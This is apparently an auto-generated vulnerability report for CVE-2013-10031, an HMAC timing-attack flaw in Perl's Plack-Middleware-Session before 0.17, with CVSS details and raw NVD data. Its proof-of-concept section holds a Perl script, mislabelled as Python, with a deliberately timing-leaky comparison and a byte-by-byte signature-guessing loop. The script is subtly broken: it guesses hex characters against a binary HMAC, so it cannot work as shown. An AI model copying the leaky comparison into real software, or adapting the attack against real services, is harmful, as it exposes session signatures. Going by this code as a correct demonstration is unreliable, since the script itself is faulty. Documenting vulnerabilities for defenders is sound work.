Security Vulnerability Report
中文
CVE-2013-10031 CVSS 7.5 HIGH

CVE-2013-10031

Published: 2025-12-09 01:16:43
Last Modified: 2025-12-16 19:16:17
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

Plack-Middleware-Session versions before 0.17 may be vulnerable to HMAC comparison timing attacks

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:plack:plack-middleware-session:*:*:*:*:*:*:*:* - VULNERABLE
Plack-Middleware-Session < 0.17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env perl # PoC for CVE-2013-10031: Plack-Middleware-Session HMAC Timing Attack use strict; use warnings; use Time::HiRes qw(gettimeofday tv_interval); use Digest::SHA qw(hmac_sha256); # Simulated vulnerable HMAC verification (using timing-sensitive comparison) sub vulnerable_hmac_verify { my ($expected, $provided) = @_; return $expected eq $provided; # Timing leak here } # Timing-safe HMAC verification (fixed version) sub safe_hmac_verify { my ($expected, $provided) = @_; return 0 if length($expected) != length($provided); my $result = 0; for my $i (0 .. length($expected) - 1) { $result |= ord(substr($expected, $i, 1)) ^ ord(substr($provided, $i, 1)); } return $result == 0; } # Example: Demonstrate timing attack concept my $secret_key = 'session_secret_key_12345'; my $valid_signature = hmac_sha256('session_data', $secret_key); my @chars = ('0'..'9', 'a'..'f'); my $partial_sig = ''; print "Valid HMAC signature: $valid_signature\n"; print "Attempting to guess signature byte by byte...\n"; # This demonstrates the concept - real attack would iterate many times per byte for my $pos (0 .. length($valid_signature) - 1) { my @timing_results; for my $char (@chars) { my $test_sig = $partial_sig . $char . ('0' x (length($valid_signature) - length($partial_sig) - 1)); my $t0 = [gettimeofday]; vulnerable_hmac_verify($valid_signature, $test_sig); my $elapsed = tv_interval($t0) * 1000; # milliseconds push @timing_results, [$char, $elapsed]; } # Find char with longest average time (indicating partial match) @timing_results = sort { $b->[1] <=> $a->[1] } @timing_results; my $best_char = $timing_results[0]->[0]; $partial_sig .= $best_char; print "Position $pos: guessed '$best_char' (avg time: " . sprintf('%.3f', $timing_results[0]->[1]) . "ms)\n"; } print "\nReconstructed signature: $partial_sig\n"; print "Match: " . ($partial_sig eq $valid_signature ? 'YES' : 'NO') . "\n";

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2013-10031", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2025-12-09T01:16:42.587", "lastModified": "2025-12-16T19:16:16.547", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Plack-Middleware-Session versions before 0.17 may be vulnerable to HMAC comparison timing attacks"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1254"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:plack:plack-middleware-session:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.17", "matchCriteriaId": "043B7AD9-5A0C-4355-8837-5EF2EF8E6AC3"}]}]}], "references": [{"url": "https://github.com/plack/Plack-Middleware-Session/commit/b7f0252269ba1bb812b5dc02303754fe94c808e4", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "tags": ["Patch"]}]}}